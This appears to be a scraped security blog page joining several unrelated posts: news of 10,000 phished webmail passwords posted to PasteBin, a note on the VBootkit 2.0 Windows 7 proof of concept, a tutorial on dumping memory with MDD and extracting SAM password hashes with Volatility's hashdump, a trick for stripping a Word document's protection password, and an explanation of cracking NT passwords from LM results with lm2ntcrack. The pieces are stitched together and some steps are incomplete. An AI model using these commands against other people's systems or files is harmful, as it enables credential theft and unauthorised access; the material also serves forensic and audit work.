Forty-two percent of the passwords used lowercase letters from “a to z”; only 6 percent mixed alpha-numeric and other characters.

Many of the top 20 passwords used were Spanish names, such as Alejandra and Alberto, suggesting that the victims were in Spanish-speaking communities. Nearly 2,000 of the passwords were only six characters long. The longest password was 30 characters — lafaroleratropezoooooooooooooo.

The 10,000 passwords and user names, believed to be booty from a phishing attack, were posted over the weekend to the clipboard site PasteBin. The site owner has since removed the list, but Bogdan Calin of Acunetix grabbed the passwords before it disappeared.

The list included only online account addresses that began with “A” or “B,” suggesting that the list was only part of a larger cache of credentials. On Tuesday, the BBC reported that it had viewed a second list of more than 20,000 account credentials that included Gmail, Yahoo and AOL accounts, and that Google had uncovered a third list containing an unknown number of accounts.

Some of the accounts on the list of 20,000 names the BBC saw appeared to be old, unused or fake, though many were genuine. The list also included Comcast and Earthlink accounts.

Both Google and Microsoft, which own Gmail and Hotmail, MSN and Live.com respectively, have taken measures to block use of the exposed accounts until the legitimate users can reset their passwords.

Indian security researchers have released proof-of-concept code that can be used to take over a computer running Microsoft’s upcoming Windows 7 operating system, despite earlier promising not to make the code public for fear it could be misused.

VBootkit 2.0 was developed by researchers Vipin Kumar and Nitin Kumar and is now available for download under an open-source license.
Vbootkit 2.0 currently only works on Windows 7 ( x64 edition ).

Tools Needed :

Volatility 1.3 Beta

Volatility Plugin from Moyix

ManTech Memory DD (MDD) (http://www.mantech.com/msma/MDD.asp) is released under GPL by Mantech International. MDD is capable of copying the complete contents of memory on the following Microsoft Operating Systems: Windows 2000, Windows XP, Windows 2003 Server, Windows 2008 Server.

After downloading MDD from the Mantech site you need to run the program at the command line.

MDD Command Line Usage:

mdd -o OUTPUTFILENAME

Step by Step Example :

First of all, run MDD to dump the memory of the machine. The output file , would be an image of the physical memory, and MDD is often used to only dump the memory.

C:\Documents and Settings\Administrator\Desktop\MDD>mdd_1.3.exe -o dump.dd

-> mdd

under certain conditions; use option `-c’ for details.

-> Dumping 511.48 MB of physical memory to file ‘dump.dd’.

took 32 seconds to write

MD5 is: 78924418adaf67d22a6687dcc6ff4e23

C:\Documents and Settings\Administrator\Desktop\MDD>

Next, we will need to analyze the “memory image” – dump.dd .

For this, we will be using Using Volatility (1.3_Beta), Volatility Plugin from Moyix, and a Windows Hash/Password Finder (SamInside) to identify the passwords.

1. First of all, most of these scripts are written in python, and as such, you would need to download and install a python interpreter (Active Python ).

2. Download Volatility (1.3_Beta) , extract it to a folder.

3. Download Volatility Plugin from Moyix, extract it, and copy its content into the Volatility folder, overwriting your existing forensics, memory_objects, and memory_plugins folders.

4. Download pyCrypto and install it.

5. Copy the dump.dd file (output file of MDD) into the Volatility folder.

6. Run hivescan from volatility to get the hive offsets. Execute the following:

C:\Documents and Settings\Administrator\Desktop\Volatility-1.3_Beta> python volatility hivescan -f dump.dd

7. Next, Run hivelist from volatility with the first hivescan offset, from previous output. Execute the following:

8. Now that we have the address locations, Pay attention to SAM & SYSTEM addresses. Find Password Hash using this command : python volatility hashdump -f dump.dd -y System Hive Offset -s SAM Hive Offset.

python volatility hashdump -f dump.dd -y 0xe1036758 -s 0xe1741b60

Ever run into situation where someone sends you a read-only password protected Word document, but wants you to make changes?
Here’s how to crack it if you are using the newer versions of Word:

If you are using office XP or 2003, you can change the view to HTML-Code using Microsoft Script-Editor by pressing the [Alt]+[Shift]+[F11] key combination.

Search for “Password” and you will find somethimg like this:
<w:DocumentProtection>ReadOnly</w:DocumentProtection>
<w:UnprotectPassword>19E8E61E</w:UnprotectPassword>

To remove the protection:
-Just remowe those two lines, and after saving the document , the protection is gone.

To remove the password:
-replace the Password, here “19E8E61E”, with “00000000″, save the Document and close “Script-Editor”.

Alternative you can save your document as .html and use a html-Editor

So you’ve got the LM password but it is only in UpperCase because LM Hashes are not case sensitive. So, these passwords cannot be reuse in this form.

Example : Password cracker output for “Administrator” account

* LM password is ADMINISTRAT0R.
* NT password is ?????????????.

I’m not so lucky because the case-sensitive password isn’t “administrat0r” or “Administrat0r”. So I cannot use this to connect on the audited Windows system.

This password contains 13 characters but launching my password cracker on the NT hash is a waste of time and there is a poor chance of success.

Note :

* Password length : 13 characters.
* Details : 1 number + 12 case-sensitives letters.
* Possibilities : 2^12 = 4096 choices. (Cannot test them all manually)

In this example, lm2ntcrack will generate the 4096 possibilities for the password ADMINISTRAT0R and, for each one, the associated NT MD4 hash. Then, search for matching with the dumped hash.

Execution time : < 2 seconds to crack more than 1200 NT Hashes
